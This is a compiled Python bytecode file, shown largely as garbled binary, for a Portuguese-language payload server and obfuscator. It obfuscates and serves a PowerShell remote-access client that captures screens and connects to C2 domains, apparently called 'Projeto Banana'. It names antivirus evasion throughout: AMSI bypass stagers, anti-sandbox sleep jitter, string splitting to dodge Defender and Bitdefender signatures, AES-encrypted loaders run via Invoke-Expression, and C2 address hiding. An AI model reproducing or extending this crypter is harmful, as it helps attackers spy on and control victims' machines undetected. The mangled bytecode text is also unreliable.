o
    Uj9Ì  ã                   @   s–  d Z ddlZddlZddlZddlZddlZddlZddlZddlZddl	Z	ddl
Z
ddlZddlmZ ddlmZ ddlmZmZmZ ddlmZ ddlZddlZddlmZ zddlmZmZmZ dd	lmZ d
ZW n e yw   dZY nw dddddd
dœZ!i dd
“dd“dd“dd
“dd
“dd
“dd
“dd
“dd
“dd
“dd
“dd“d d“d!d“d"d“d#d$“Z"g g dd%œZ#d&d'dd&d(œZ$d}d+d,„Z%d-d.„ Z&d/d0„ Z'd1d2„ Z(d~d4d5„Z)d6d7„ Z*d8d9„ Z+d:d;„ Z,d<d=„ Z-d>d?„ Z.d@dA„ Z/dBdC„ Z0dDdE„ Z1dFdG„ Z2dHdI„ Z3dJdK„ Z4dLdM„ Z5dNe6dOe6dPe6dQe6fdRdS„Z7dTe8dQe8fdUdV„Z9ddTe8dWe:dQe8fdXdY„Z;G dZd[„ d[ƒZ<e<ƒ Z=zdd\l>m?Z? dd]l@mAZA ddlBZBW n e yW   eCd^ƒ e Dd_¡ Y nw e?d`dadbZEdcdiZFeE Gdd¡dedd„ ƒZHeEjIdfeAdgd€dhe8fdidj„ƒZJeE Idk¡d€dhe8fdldm„ƒZKeE Idn¡dodp„ ƒZLeE Idq¡drds„ ƒZMeE Idt¡dudv„ ƒZNeOdwkrÉejP QejP RejSd ¡¡d ZTeBjUeT› dxe!dy e!dz d_d{d| dS dS )u‘  
â•”â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•—
â•‘  SERVIDOR COMPLETO + POOL v7.1 - COM TODAS AS PROTEÃ‡Ã•ES DO PROTEGER.PY v7.1 â•‘
â• â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•£
â•‘                                                                              â•‘
â•‘  NOVO v7.1 (do proteger_FUNCIONAL.py):                                       â•‘
â•‘  - Sleep com Jitter (anti-sandbox)                                           â•‘
â•‘  - CopyFromScreen via REGEX (pega todas as instÃ¢ncias)                       â•‘
â•‘  - Stager separado com AMSI bypass (evita detecÃ§Ã£o Fleisnam.E)               â•‘
â•‘  - AMSI bypass NÃƒO vai no Client (causa detecÃ§Ã£o estÃ¡tica!)                  â•‘
â•‘  - DetecÃ§Ã£o automÃ¡tica de IPs/domÃ­nios via REGEX                             â•‘
â•‘                                                                              â•‘
â•‘  COMBINADO COM (do servidor_completo_pool.py):                               â•‘
â•‘  - ZERO PERDA DE CLIENTES - Sistema de pool                                  â•‘
â•‘  - PRÃ‰-AQUECE TODAS AS PASTAS AUTOMATICAMENTE                                â•‘
â•‘  - Cliente recebe cÃ³digo INSTANTÃ‚NEO                                         â•‘
â•‘  - AES rÃ¡pido (cryptography) ou fallback Python puro                         â•‘
â•‘                                                                              â•‘
â•šâ•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•

INSTALAÃ‡ÃƒO:
    pip3 install fastapi uvicorn cryptography --break-system-packages

EXECUTAR:
    python3 servidor_completo_pool_v71.py

TESTAR:
    curl http://localhost:8888/proteger
é    N)ÚPath)Údatetime)ÚOptionalÚTupleÚDict)ÚProcessPoolExecutor)Údeque)ÚCipherÚ
algorithmsÚmodes)Údefault_backendTFú0.0.0.0i¸"  é   z/var/www/htmlz
msedge.txt)ÚhostÚportÚworkersÚbase_dirÚsource_fileÚlog_requestsÚenable_sleep_jitterÚsleep_min_secondsé   Úsleep_max_secondsé   Úgenerate_stagerÚenable_bypassÚenable_string_encryptÚenable_var_renameÚenable_func_renameÚenable_type_obfuscationÚenable_comment_removalÚenable_number_obfuscationÚenable_path_obfuscationÚenable_junk_codeÚenable_final_compressÚenable_disk_encryptÚjunk_code_densityé   ©Úsensitive_ipsÚsensitive_domainsÚserver_porté   é   )Úmin_sizeÚmax_sizeÚrefill_thresholdÚgenerator_threadsé   Ú c                    s*   t j‰ d ‡ fdd„t| ƒD ƒ¡}|| S )u.   Gera nome aleatÃ³rio para variÃ¡veis/funÃ§Ãµesr3   c                 3   s    | ]}t  ˆ ¡V  qd S ©N©ÚrandomÚchoice)Ú.0Ú_©Úchars© ú'/var/www/html/servidor_completo_pool.pyÚ	<genexpr>y   s   € zrandom_name.<locals>.<genexpr>)ÚstringÚascii_lettersÚjoinÚrange)ÚlengthÚprefixÚnamer<   r:   r=   Úrandom_namev   s   rF   c                   C   s   dt t dd¡ƒ S )u,   Gera nome de variÃ¡vel PowerShell aleatÃ³rioú$r,   r   )rF   r6   Úrandintr<   r<   r<   r=   Ú
random_var|   s   rI   c                 C   s    t  |  d¡¡ ¡ }d|› dS )u;   Gera expressÃ£o PowerShell que decodifica Base64 em runtimez	utf-16-lezH([System.Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('z'))))Úbase64Ú	b64encodeÚencodeÚdecode)ÚvalueÚb64r<   r<   r=   Úb64_encode_ps€   s   rP   c                    s6   t  dd¡‰ d ‡ fdd„| D ƒ¡}d|› dˆ › dS )	Né   éþ   ú,c                 3   s     | ]}t t|ƒˆ A ƒV  qd S r4   )ÚstrÚord)r8   Úc©Úkeyr<   r=   r>   ‡   s   € z xor_encode_ps.<locals>.<genexpr>z(-join([byte[]]@(z)|%{[char]($_-bxorz)})))r6   rH   rA   )rN   Úencodedr<   rW   r=   Úxor_encode_ps…   s   rZ   é   c           	      C   sœ   t | ƒdk rd| › dS tt ||¡t | ƒƒ}t | ƒ| }g }t|ƒD ]!}|| }||d k r3|| nt | ƒ}| d| ||… › d¡ q#dd |¡ d S )z+Fragmenta uma string em partes concatenadasr   ú"rQ   ú(z + ú))ÚlenÚminr6   rH   rB   ÚappendrA   )	ÚsÚ	min_partsÚ	max_partsÚ	num_partsÚpart_lenÚpartsÚiÚstartÚendr<   r<   r=   Úsplit_stringŠ   s   rk   c                  C   s:   dd„ dd„ dd„ dd„ dd„ dd„ dd„ g} t  | ¡ƒ S )	u9   Gera cÃ³digo morto que nÃ£o faz nada mas parece legÃ­timoc                   S   s   t ƒ › dt dd¡› S )Nz = rQ   i'  )rI   r6   rH   r<   r<   r<   r=   Ú<lambda>   ó    z$generate_junk_code.<locals>.<lambda>c                   S   s   t ƒ › dtdƒ› dS )Nú = "é   r\   ©rI   rF   r<   r<   r<   r=   rl   ž   s    c                   S   s   dt ƒ › dtdƒ› dS )Nzif ($false) { rn   r   z" }rp   r<   r<   r<   r=   rl   Ÿ   rm   c                   S   ó   dS )Nzwhile ($false) { break }r<   r<   r<   r<   r=   rl       ó    c                   S   s   dt ƒ › dS )Nztry { z = $null } catch { })rI   r<   r<   r<   r=   rl   ¡   s    c                   S   s   dt  dd¡› dS )Nz[void]([Math]::Sqrt(rQ   iç  ú)))r6   rH   r<   r<   r<   r=   rl   ¢   ó    c                   S   rq   )Nz $null = [Environment]::TickCountr<   r<   r<   r<   r=   rl   £   rr   r5   )Újunk_templatesr<   r<   r=   Úgenerate_junk_codeš   s   ù	rv   c                 C   s˜  t  d| ¡}|r| d¡}|r||d vr|d  |¡ t  d| ¡}|r8| d¡}|r8||d vr8|d  |¡ t  d| ¡}|rT| d¡}|rT||d vrT|d  |¡ t  d| ¡}|ret| d¡ƒ|d< t  d	| ¡}	|	rŒ|	 d¡}
t  d
|
¡}|D ]}|r‹||d vr‹|d  |¡ qzd}t  || ¡}t|ƒD ]}|dvr«||d vr«|d  |¡ q˜d}t  || t j¡}t|ƒD ]}||d vrÉ|d  |¡ qº| S )u<   Detecta automaticamente IPs, domÃ­nios e porta do Client.ps1zFallbackIP\s*=\s*"([^"]+)"rQ   r)   zPrimaryDomain\s*=\s*"([^"]+)"r*   z"\[string\]\$Server\s*=\s*"([^"]+)"z\[int\]\$Port\s*=\s*(\d+)r+   z%\$script:C2Domains\s*=\s*@\(([^)]+)\)z	"([^"]+)"z\b(?:\d{1,3}\.){3}\d{1,3}\b)z	127.0.0.1r   z255.255.255.255z)"([a-z0-9\-]+\.[a-z0-9\-\.]+\.[a-z]{2,})")ÚreÚsearchÚgroupra   ÚintÚfindallÚsetÚ
IGNORECASE)ÚcodeÚproject_configÚip_matchÚipÚdomain_matchÚdomainÚserver_matchÚserverÚ
port_matchÚc2_matchÚdomains_strÚdomainsÚdÚ
ip_patternÚall_ipsÚdomain_patternÚall_domainsr<   r<   r=   Údetect_sensitive_values«   sP   



€€€r   c                 C   sv   t d d }t d d }d|› d|› d}t d| dd	… ¡}|r5| ¡ }| d|… | | |d…  } | S ||  } | S )
u=   Adiciona sleep com jitter no inÃ­cio do script (anti-sandbox)r   éè  r   zM
# Anti-sandbox delay
$null = Start-Sleep -Milliseconds (Get-Random -Minimum z
 -Maximum z)

z\)\s*\nNiô  )ÚCONFIGrw   rx   rj   )r~   Úmin_msÚmax_msÚ
sleep_codeÚparam_matchÚ
insert_posr<   r<   r=   Úapply_sleep_jitteræ   s   þþþr—   c                 C   sº  i dt ddƒ“dt ddƒ“dt ddƒ“d	t dd
ƒ“dt ddƒ“dt ddƒ“dt ddƒ“dt ddƒ“dt ddƒ“dt ddƒ“dt ddƒ“dt ddƒ“dt ddƒ“dt ddƒ“dt dd ƒ“d!t dd"ƒ“d#t dd$ƒ“i d%t dd&ƒ“d't dd(ƒ“d)t dd*ƒ“d+t dd,ƒ“d-t dd.ƒ“d/t dd0ƒ“d1t dd2ƒ“d3t d4d5ƒ“d6t d4d7ƒ“d8t dd9ƒ“d:t dd;ƒ“d<t d4d=ƒ“d>t dd7ƒ“d?t d4d@ƒ“dAt ddBƒ“dCt ddƒ“dDt ddEƒ“¥dFt ddGƒi¥}| ¡ D ]\}}|  dH|› dH|› ¡} |  dI|› dI|› ¡} qÛdJt dKƒ› }dLt dƒ› dM}dNt d4ƒ› }|  dO|¡} |  dP|¡} |  dQdR|› dS¡} |  dTdU|› dS¡} dV}dW}|  ||¡} dX}	dYdZ„ }
t |	|
| ¡} d[}d\}|  ||¡} |  d]d^¡} |  d_d`¡} | S )au7   Aplica tÃ©cnicas de bypass para evitar detecÃ§Ã£o de AVÚScreenBoundsr,   ÚsbÚBWr[   ÚbÚEncoderParamsÚepÚJpegEncoderÚjeÚjpegEncoderÚjcÚ	jpegCodecÚcdÚencoderParamsÚprÚ	MemStreamÚmsÚ
PerfConfigÚpcÚSecurityConfigÚscÚMonitorsÚmnÚSelectedMonitorIndexÚmiÚInputTrackActiveÚitÚAutoQREnabledÚaqÚ	ForceExitÚfeÚOverlayActiveÚoaÚ
CropActiveÚcaÚCropFormÚcfÚCropProcessÚcpÚConnectionConfigÚccÚInstallConfigÚicÚInstallTokenÚtkÚ
TokenProofÚtpÚAesKeyÚakÚDeskModer   ÚdmÚLastDeskÚldÚRobustConfigÚrcÚRobustStateÚrsÚUseDxgiÚudÚLastDesktopÚBypassOKÚbpÚLastProtectionCheckÚlpÚProtectionCheckIntervalÚUltraConfigÚucÚ
UltraStateÚusú$script:rG   zGet-r2   ÚWinÚHelperÚGrabzGet-ScreenshotÚFastCapturez#public static Bitmap CaptureScreen(zpublic static Bitmap r]   z::CaptureScreen(z::z-`$g.CopyFromScreen(0, 0, 0, 0, `$bounds.Size)z`$g.GetType().GetMethod("Cop"+"yFrom"+"Screen", [Type[]]@([Int32],[Int32],[Int32],[Int32],[Drawing.Size])).Invoke(`$g, @(0,0,0,0,`$bounds.Size))z"(\$\w+)\.CopyFromScreen\(([^)]+)\)c                 S   s*   |   d¡}|   d¡}|› d|› d|› dS )NrQ   r[   z4.GetType().GetMethod("Cop"+"yFrom"+"Screen").Invoke(z, @(rs   )ry   )ÚmatchÚvarÚargsr<   r<   r=   Úreplace_copyscreen=  s   

z(apply_bypass.<locals>.replace_copyscreenz;[System.Drawing.Imaging.ImageCodecInfo]::GetImageEncoders()zy$([Type]("Sys"+"tem.Dra"+"wing.Imag"+"ing.ImageCo"+"decInfo")).GetMethod("Get"+"Image"+"Enco"+"ders").Invoke($null,$null)z'image/jpeg'z('ima' + 'ge/jp' + 'eg')z"image/jpeg"z("ima" + "ge/jp" + "eg"))rF   ÚitemsÚreplacerw   Úsub)r~   Úvar_mappingsÚoldÚnewÚfunc_screenshotÚfunc_capture_classÚfunc_capture_methodÚold_copyÚnew_copyÚcopyscreen_patternrä   Úold_encodersÚnew_encodersr<   r<   r=   Úapply_bypass   sº   
ÿ
þ
ý
ü
û
ú
ù
ø
	÷

ö
õ
ô
ó
ò
ñ
ð
ï
î
í
ì
ë
ê
é
è
ç
æ
å
ä
ã
â
á
 à
!ß
"Þ
#Ý&ró   c                 C   s²   |d D ]}d|› d}t |ƒ}|| v r|  ||¡} q|d D ]}d|› d}t |ƒ}|| v r5|  ||¡} qg d¢}|D ]\}	}
d|	› d| v rV|  d|	› dd|
› d¡} q<| S )u   Criptografa strings sensÃ­veisr)   r\   r*   ))zSystem.Net.Sockets.TcpClientz%Sys"+"tem.Net.Soc"+"kets.Tcp"+"Client)zSystem.IO.BinaryWriterzSys"+"tem.IO.Bin"+"aryWri"+"ter)zSystem.IO.BinaryReaderzSys"+"tem.IO.Bin"+"aryRea"+"der)zSystem.IO.MemoryStreamzSys"+"tem.IO.Mem"+"oryStr"+"eam)z"System.Net.NetworkInformation.Pingz.Sys"+"tem.Net.Net"+"workInf"+"ormation.Pi"+"ngz("z"))rP   ræ   )r~   r   r   Úold_ipÚnew_iprƒ   Ú
old_domainÚ
new_domainÚ	net_typesÚold_typeÚnew_typer<   r<   r=   Úapply_string_encryptionQ  s$   €€€rû   c                 C   sp   g d¢}|D ]/}t t dd¡ƒ}d|› d|› fd|› d|› fg}|D ]\}}|| v r4|  ||¡} q&q| S )u#   Renomeia variÃ¡veis de forma segura)ÚserverIPÚ
serverPortÚ	tcpClientÚnetworkStreamÚbinaryWriterÚbinaryReaderÚ	machineIdÚlastPingÚscreenCaptureÚcaptureThreadÚremoteShellr,   r   rG   rÜ   )rF   r6   rH   ræ   )r~   Úvars_to_renamerâ   Únew_nameÚpatternsré   rê   r<   r<   r=   Úapply_variable_renamer  s   þ€þr
  c                    sˆ   d}t  || ¡}h d£‰ ‡ fdd„t|ƒD ƒ}|D ](}dtdƒ }t  dt  |¡› dd	|› d
| ¡} t  dt  |¡› d|| ¡} q| S )u*   Renomeia funÃ§Ãµes definidas pelo usuÃ¡rioz+function\s+([A-Za-z][A-Za-z0-9_-]*)\s*[{\(]>   úGet-DateúGet-HelpúNew-ItemúOut-Fileú	Copy-Itemú	Move-Itemú	Read-Hostú	Test-Pathú
Write-HostúGet-ContentúGet-ProcessúGet-ServiceúRemove-ItemúSet-ContentúStart-SleepúWrite-ErrorúStop-ProcessúWrite-OutputúStart-ProcessúWrite-VerboseúInvoke-CommandúInvoke-ExpressionÚMainÚmainc                    s   g | ]}|ˆ vr|‘qS r<   r<   ©r8   Úf©Úprotected_funcsr<   r=   Ú
<listcomp>š  rm   z)apply_function_rename.<locals>.<listcomp>zInvoke-r2   zfunction\s+z
\s*([{\(])ú	function z \1z(?<!["\'])\bz\b(?!["\']))rw   r{   r|   rF   rç   Úescape)r~   Úfunc_patternÚmatchesÚ
user_funcsÚfuncr  r<   r%  r=   Úapply_function_rename‹  s   	$r.  c                 C   sX   ddg}|D ]\}}|| v r|   ||¡} qg d¢}|D ]\}}|| v r)|   ||¡} q| S )z!Ofusca tipos .NET de forma segura)z-AssemblyName System.Drawingz&-AssemblyName ("Sys"+"tem.Dra"+"wing"))z"-AssemblyName System.Windows.Formsz/-AssemblyName ("Sys"+"tem.Win"+"dows.For"+"ms")))z'New-Object System.Net.Sockets.TcpClientz4New-Object ("Sys"+"tem.Net.Soc"+"kets.Tcp"+"Client"))z!New-Object System.IO.MemoryStreamz.New-Object ("Sys"+"tem.IO.Mem"+"oryStr"+"eam"))z!New-Object System.IO.BinaryWriterz.New-Object ("Sys"+"tem.IO.Bin"+"aryWri"+"ter"))z!New-Object System.IO.BinaryReaderz.New-Object ("Sys"+"tem.IO.Bin"+"aryRea"+"der"))ræ   )r~   Únamespace_mappingsÚold_nsÚnew_nsÚnewobj_patternsÚold_objÚnew_objr<   r<   r=   Úapply_type_obfuscation§  s   þ€€r5  c                    sn  |   d¡}g }d}d}dg}|D ]¡‰ ˆ  ¡ ‰dˆv sdˆv r d}dˆv s(dˆv r*d}d	ˆv r2|s2d}d
ˆv r;|s;d}q|r>q|s¬ˆ d¡rXˆ d
¡sXt‡fdd„|D ƒƒ}|sXqdˆ v r¬|s¬t‡ fdd„|D ƒƒ}|s¬d}d}g }	d}
|
tˆ ƒk r¥ˆ |
 }|dv r|sˆd}|}n||krŽd}n|dkr–|s–n|	 |¡ |
d7 }
|
tˆ ƒk syd |	¡ ¡ ‰ | ˆ ¡ qd |¡S )u:   Remove comentÃ¡rios PowerShell (mas preserva here-strings)Ú
FzAnti-sandboxú@"ú@'Tú"@ú'@z<#z#>ú#c                 3   ó    | ]}|ˆ v V  qd S r4   r<   ©r8   Úmarker)Ústrippedr<   r=   r>   ã  ó   € z(apply_comment_removal.<locals>.<genexpr>c                 3   r<  r4   r<   r=  )Úliner<   r=   r>   é  r@  Nr   z"'rQ   r3   )ÚsplitÚstripÚ
startswithÚanyr_   ra   rA   Úrstrip)r~   ÚlinesÚ	new_linesÚin_herestringÚin_block_commentÚpreserve_markersÚshould_preserveÚ	in_stringÚ
quote_charÚnew_linerh   rV   r<   )rA  r?  r=   Úapply_comment_removalÄ  s^   
€
õ
rP  c                 C   sF   g d¢}|D ]\}}d|› d}t  || ¡r t  |d|› | ¡} q| S )u5   Ofusca alguns nÃºmeros mÃ¡gicos - CORRIGIDO COM REGEX))i'  z(5000+5000))i    z
(8000+192))i  z	(8000+80))i³  z
(5000+555))iˆ  z(2500+2500))i\  z
(4000+444))i   z	(4000+96))i   z	(1000+24))r   z	(500+500))i»  z(400+43))éP   z(40+40)z(=\s*)z(?!\d)z\g<1>)rw   rx   rç   )r~   Únumbers_to_obfuscateÚnumÚreplacementÚpatternr<   r<   r=   Úapply_number_obfuscation  s   €rV  c                 C   s`  |   d¡}g }d}tƒ }t|ƒD ]#\}}| ¡ }d|v s d|v r"d}|r3| |¡ d|v s1d|v r3d}qg }t|ƒD ]0\}}||v rCq:| ¡ }| d¡sU| d	¡sU|d
krj|dkrjt ¡ dk rj|d |vrj| |¡ q:t 	|t
t|ƒtd ƒ¡}t|ƒD ].\}}| |¡ ||v rªtt dd¡ƒD ]}	t|ƒt| ¡ ƒ }
tƒ }| d|
 | ¡ q‘q|d |¡S )u,   Insere cÃ³digo morto em pontos estratÃ©gicosr6  Fr7  r8  Tr9  r:  Ú{r(  r3   r   g333333Ó?rQ   r&   r   ú )rB  r|   Ú	enumeraterC  ÚaddÚendswithrD  r6   ra   Úsampler`   r_   r‘   rB   rH   Úlstriprv   rA   )r~   rG  rH  rI  Úprotected_linesrh   rA  r?  Úinsert_pointsr9   ÚindentÚjunkr<   r<   r=   Úapply_junk_code'  sB   

€
€
€
rb  c                 C   sV   t j|  d¡dd}t |¡ ¡ }tƒ }tƒ }d|› d|› d|› d|› d|› d	}|S )
u-   Comprime e codifica o cÃ³digo final em Base64úutf-8é	   )Úlevelz# Auto-generated loader
z = 'z'
z = [System.Text.Encoding]::UTF8.GetString(
    [System.IO.Compression.DeflateStream]::new(
        [System.IO.MemoryStream]::new([Convert]::FromBase64String(zd)),
        [System.IO.Compression.CompressionMode]::Decompress
    ).ToArray()
)
Invoke-Expression r6  )ÚzlibÚcompressrL   rJ   rK   rM   rI   )r~   Ú
compressedÚb64_compressedÚ
loader_varÚdecompress_varÚloaderr<   r<   r=   Úapply_final_compressionR  s    ÿÿþüørm  ÚdatarX   ÚivÚreturnc                    s  t rtt |¡t |¡tƒ d}| ¡ }| | ¡| 	¡  S g d¢‰g d¢‰ dd„ ‰‡fdd„‰‡ ‡fdd	„}d
d„ ‰‡fdd„‰dd„ ‰‡fdd„‰‡‡‡‡fdd„}||ƒ}d}|}	t
dt| ƒdƒD ]!}
| |
|
d … }tdd„ t||	ƒD ƒƒ}|||ƒ}||7 }|}	qc|S )uŸ   
    AES-256-CBC encryption
    Usa biblioteca cryptography se disponÃ­vel (100x mais rÃ¡pido)
    Fallback para implementaÃ§Ã£o pura Python se nÃ£o tiver
    )Úbackend(   éc   é|   éw   é{   éò   ék   éo   éÅ   é0   rQ   ég   é+   rR   é×   é«   év   éÊ   é‚   éÉ   é}   éú   éY   éG   éð   é­   éÔ   é¢   é¯   éœ   é¤   ér   éÀ   é·   éý   é“   é&   é6   é?   é÷   éÌ   é4   é¥   éå   éñ   éq   éØ   é1   é   r   éÇ   é#   éÃ   é   é–   r,   éš   é   é   é€   éâ   éë   é'   é²   éu   rd  éƒ   é,   é   é   én   éZ   é    éR   é;   éÖ   é³   é)   éã   é/   é„   éS   éÑ   r   éí   é    éü   é±   é[   éj   éË   é¾   é9   éJ   éL   éX   éÏ   éÐ   éï   éª   éû   éC   éM   é3   é…   éE   éù   r[   é   rQ  é<   éŸ   é¨   éQ   é£   é@   é   é’   é   é8   éõ   é¼   é¶   éÚ   é!   é   éÿ   éó   éÒ   éÍ   ro   é   éì   é_   é—   éD   é   éÄ   é§   é~   é=   éd   é]   é   és   é`   é   éO   éÜ   é"   é*   é   éˆ   éF   éî   é¸   r-   éÞ   é^   é   éÛ   éà   é2   é:   é
   éI   r2   é$   é\   éÂ   éÓ   é¬   éb   é‘   é•   éä   éy   éç   éÈ   é7   ém   é   éÕ   éN   é©   él   éV   éô   éê   ée   éz   é®   r   éº   éx   é%   é.   é   é¦   é´   éÆ   éè   éÝ   ét   é   éK   é½   é‹   éŠ   ép   é>   éµ   éf   éH   r   éö   é   éa   é5   éW   é¹   é†   éÁ   é   éž   éá   éø   é˜   é   éi   éÙ   éŽ   é”   é›   é   é‡   éé   éÎ   éU   é(   éß   éŒ   é¡   é‰   é   é¿   éæ   éB   éh   éA   é™   é-   r'   é°   éT   é»   é   )
rQ   r[   r   r   ræ  rÀ  rÜ  r¨  r±  r”  c                 S   s$   | d@ r| d> dA d@ S | d> d@ S )Nr¨  rQ   r±  rç  r<   )Úar<   r<   r=   ÚxtimeŽ  s   $zaes_encrypt_cbc.<locals>.xtimec                    s¸   | d | d A | d A | d A }| d }| d  |ˆ | d | d A ƒA N  < | d  |ˆ | d | d A ƒA N  < | d  |ˆ | d | d A ƒA N  < | d  |ˆ | d |A ƒA N  < | S )Nr   rQ   r[   r   r<   )rd  ÚtÚu)re  r<   r=   Úmix_single_column‘  s    $$$ z*aes_encrypt_cbc.<locals>.mix_single_columnc                    sÆ   t | ƒ‰tddƒD ]W‰ ˆˆ d d ˆ d … ‰ˆ d dkrAˆdd … ˆd d…  ‰‡fdd„ˆD ƒ‰ˆd  ˆˆ d d  N  < nˆ d dkrP‡fdd„ˆD ƒ‰ˆ ‡ ‡‡fd	d„tdƒD ƒ¡ q	ˆS )
Nr   r×  rQ   r   r   c                    ó   g | ]}ˆ | ‘qS r<   r<   ©r8   r›   ©ÚSBOXr<   r=   r'     rt   z:aes_encrypt_cbc.<locals>.key_expansion.<locals>.<listcomp>c                    ri  r<   r<   rj  rk  r<   r=   r'  £  rt   c                    s(   g | ]}ˆˆ d  d |  ˆ| A ‘qS )r   r   r<   )r8   Új©rh   Úkey_scheduleÚtempr<   r=   r'  ¤  s   ( )ÚlistrB   ÚextendrW   )ÚRCONrl  rn  r=   Úkey_expansionš  s   "z&aes_encrypt_cbc.<locals>.key_expansionc                 S   s.   t dƒD ]}| |  ||d |  N  < q| S )Nræ  ©rB   )Ústatero  Úroundrh   r<   r<   r=   Úadd_round_key§  s   z&aes_encrypt_cbc.<locals>.add_round_keyc                    s   ‡ fdd„| D ƒS )Nc                    ri  r<   r<   rj  rk  r<   r=   r'  ­  rt   z6aes_encrypt_cbc.<locals>.sub_bytes.<locals>.<listcomp>r<   ©rv  rk  r<   r=   Ú	sub_bytes¬  s   z"aes_encrypt_cbc.<locals>.sub_bytesc                 S   sd   | d | d | d | d | d | d | d | d | d	 | d
 | d | d | d | d | d | d gS )Nr   r,   r  r'   r   rd  r<  r   r   rX  r[   r¦  ro   rQ   r2   r  r<   ry  r<   r<   r=   Ú
shift_rows¯  s
   üz#aes_encrypt_cbc.<locals>.shift_rowsc                    sJ   t dƒD ]}| |d |d d … }ˆ |ƒ}|| |d |d d …< q| S )Nr   rQ   ru  )rv  rh   Úcol)rh  r<   r=   Úmix_columns·  s
   z$aes_encrypt_cbc.<locals>.mix_columnsc                    sl   t | ƒ}ˆ ||dƒ}tddƒD ]}ˆ|ƒ}ˆ|ƒ}ˆ|ƒ}ˆ |||ƒ}qˆ|ƒ}ˆ|ƒ}ˆ ||dƒ}t|ƒS )Nr   rQ   r<  )rq  rB   Úbytes)Úblockro  rv  rw  )rx  r}  r{  rz  r<   r=   Úencrypt_block¾  s   z&aes_encrypt_cbc.<locals>.encrypt_blockó    r   ræ  c                 s   s    | ]	\}}||A V  qd S r4   r<   )r8   rd  r›   r<   r<   r=   r>   Ñ  s   € z"aes_encrypt_cbc.<locals>.<genexpr>)ÚCRYPTO_FASTr	   r
   ÚAESr   ÚCBCr   Ú	encryptorÚupdateÚfinalizerB   r_   r~  Úzip)rn  rX   ro  Úcipherr…  rt  r€  ro  Ú	encryptedÚ
prev_blockrh   r  ÚxoredÚencrypted_blockr<   )rs  rl  rx  r}  rh  r{  rz  re  r=   Úaes_encrypt_cbcl  s0   	
rŽ  r~   c                    s  t  d¡}t  d¡}t |¡ ¡ }t |¡ ¡ }d}|t|  d¡ƒ|  }| t|ƒ|  }t| d¡||ƒ}t |¡ ¡ ‰ ‡ fdd„t	dtˆ ƒdƒD ƒ}	d 
|	¡}
td	ƒ}td	ƒ}td	ƒ}td	ƒ}td	ƒ}td	ƒ}td	ƒ}td	ƒ}td	ƒ}d
 
g d‘|› ‘d‘|
› ‘d‘|› ‘d‘|› ‘d‘|› ‘d‘|› ‘d‘|› ‘d‘|› ‘d‘|› ‘d‘|› ‘d‘|› ‘d‘|› ‘d‘|› ‘d‘|› ‘d‘|› ‘d‘|› ‘d‘|› ‘d‘|› ‘d‘|› ‘d‘|› ‘d‘|› ‘d‘|› ‘d‘|› ‘d‘|› ‘d‘|› ‘d ‘|› ‘d ‘|› ‘d ‘|› ‘d!‘|› ‘d"‘¡}|S )#u3   Criptografa o payload para ficar ilegÃ­vel em discorÀ  ræ  rc  c                    s   g | ]
}ˆ ||d  … ‘qS )rQ  r<   )r8   rh   ©Úencrypted_b64r<   r=   r'  æ  s    z)apply_disk_encryption.<locals>.<listcomp>r   rQ  r6  r2   r3   z+$ErrorActionPreference='SilentlyContinue'
$z=@"
z
"@
$z=[Convert]::FromBase64String('z')
$z/=[System.Security.Cryptography.Aes]::Create()
$z.Key=$z;$z.IV=$z.Mode='CBC';$z.Padding='PKCS7'
$z=$z.CreateDecryptor()
$z5=[IO.MemoryStream]::new([Convert]::FromBase64String($z))
$z,=[Security.Cryptography.CryptoStream]::new($z,$z
,'Read')
$z=[IO.StreamReader]::new($z)
$z.ReadToEnd()
$z
.Close();$z%.Dispose()
& ([ScriptBlock]::Create($z)) @args)ÚosÚurandomrJ   rK   rM   r_   rL   ÚchrrŽ  rB   rA   rF   )r~   rX   ro  Úkey_b64Úiv_b64Ú
block_sizeÚpadding_lenÚpadded_coderŠ  Úencrypted_linesr  Úv_keyÚv_ivÚv_dataÚv_aesÚv_decÚv_msÚv_csÚv_srÚv_plainrl  r<   r  r=   Úapply_disk_encryptionÙ  s    



ÿþüüûûúùùùùùùøø	÷	÷
ö
ö
öõõôôóóóóòr£  Úconfigc                 C   s^  |du rt  ¡ }g g ddœ}t| |ƒ} | dd¡rt| ƒ} | dd¡r't| ƒ} | dd¡r2t| |ƒ} | dd¡r<t| ƒ} | d	d¡rFt| ƒ} | d
d¡rPt	| ƒ} | dd¡rZt
| ƒ} | dd¡rdt| ƒ} | dd¡rnt| ƒ} | dd¡rxt| ƒ} | dd¡r„t| ƒ} | S t ¡  d¡}t | › t ¡ ›  ¡ ¡ ¡ dd…  ¡ }d|› d|› d}||  } | S )uˆ   
    Aplica TODAS as camadas de proteÃ§Ã£o do proteger.py v7.1.
    Esta funÃ§Ã£o Ã© thread-safe (nÃ£o usa estado global mutÃ¡vel).
    Nr   r(   r   Tr   r   r   r   r   r    r!   r#   Fr$   r%   z%Y-%m-%d %H:%M:%Sræ  uG  # â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•
# PROTECTED SCRIPT v7.1 - Projeto Banana (Anti-Defender/Bitdefender/Avast)
# Generated z	
# Hash: u0  
# IMPORTANTE: SEM AMSI bypass (bypass vai no stager separado)
# â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•

